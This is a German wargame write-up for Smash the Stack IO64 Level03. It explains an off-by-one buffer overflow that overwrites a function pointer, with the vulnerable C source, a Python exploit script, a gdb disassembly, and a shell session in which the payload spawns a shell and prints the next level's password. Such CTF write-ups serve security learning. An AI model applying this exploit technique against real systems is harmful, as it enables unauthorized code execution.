Smash the Stack IO64 - Level03

Level03

In diesem Level ist möglich mittels eines Off-by-one Error eine Shell zu bekommen.

#include <stdio.h>
#include <string.h>
#include <unistd.h>

struct {
  char buf[16];
  void (*fp)(int i);
} opts;

void f(int i) {
  i != 0xdeadbeef && puts("FAIL!") || puts("WIN!") && execl("/bin/sh", "sh", NULL);
}

int main(int argc, char *argv[]) {
  int i;
  opts.fp = f;
  for(i = 0; i <= 16 && argv[1][i]; i++)
    opts.buf[i] = argv[1][i];
  opts.fp(0);
}

Der besagte Fehler liegt in der main Methode, genauer gesagt in der for-Schleife. Dieser Umstand kann ausgenutzt werden um 17 Elemente in ein 16 Element großem Buffer zuschreiben.

Folgender Exploit nutzt den hier vorgestellten Umstand aus.

#!/usr/bin/env python

import os
import sys

payload = 'A' * 16
payload += '\x7c'

def exploit(vuln):
    args = [vuln, payload]
    env = {"NULL":"NULL"}
    os.execve(vuln, args, env)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print "Usage: %s target_program" % sys.argv[0]
    else:
        exploit(sys.argv[1])

Walkthrough

Viele Wege führen zum Ziel, hier nun meiner. Wer also die Level selber lösen möchte, sollte an dieser Stelle aussteigen. Im weiteren wird auf genaue Erläuterung verzichtet, da diese aus dem Kontext hervor gehen.

[email protected]:~$ cd /levels/
[email protected]:/levels$ cat level03.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

struct {
  char buf[16];
  void (*fp)(int i);
} opts;

void f(int i) {
  i != 0xdeadbeef && puts("FAIL!") || puts("WIN!") && execl("/bin/sh", "sh", NULL);
}

int main(int argc, char *argv[]) {
  int i;
  opts.fp = f;
  for(i = 0; i <= 16 && argv[1][i]; i++)
    opts.buf[i] = argv[1][i];
  opts.fp(0);
}
/* --noname */
[email protected]:/levels$ gdb -q ./level03
Reading symbols from /levels/level03...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble f
Dump of assembler code for function f:
   0x000000000040054c <+0>:	push   rbp
   0x000000000040054d <+1>:	mov    rbp,rsp
   0x0000000000400550 <+4>:	sub    rsp,0x10
   0x0000000000400554 <+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x0000000000400557 <+11>:	cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x000000000040055e <+18>:	je     0x40056e <f+34>
   0x0000000000400560 <+20>:	mov    edi,0x4006cc
   0x0000000000400565 <+25>:	call   0x400410 <pu[email protected]>
   0x000000000040056a <+30>:	test   eax,eax
   0x000000000040056c <+32>:	jne    0x400597 <f+75>
   0x000000000040056e <+34>:	mov    edi,0x4006d2
   0x0000000000400573 <+39>:	call   0x400410 <[email protected]>
   0x0000000000400578 <+44>:	test   eax,eax
   0x000000000040057a <+46>:	je     0x400598 <f+76>
   0x000000000040057c <+48>:	mov    edx,0x0
   0x0000000000400581 <+53>:	mov    esi,0x4006d7
   0x0000000000400586 <+58>:	mov    edi,0x4006da
   0x000000000040058b <+63>:	mov    eax,0x0
   0x0000000000400590 <+68>:	call   0x400430 <[email protected]>
   0x0000000000400595 <+73>:	test   eax,eax
   0x0000000000400597 <+75>:	nop
   0x0000000000400598 <+76>:	leave
   0x0000000000400599 <+77>:	ret
End of assembler dump.
(gdb) q
A debugging session is active.

	Inferior 1 [process 24406] will be killed.

Quit anyway? (y or n) y
[email protected]:/levels$ ./level03 $(python -c "print('A'*16 + '\x7c' ) ")
$ cat /home/level4/.pass
raL6E8S0Y9BpioDK
$

Referenzen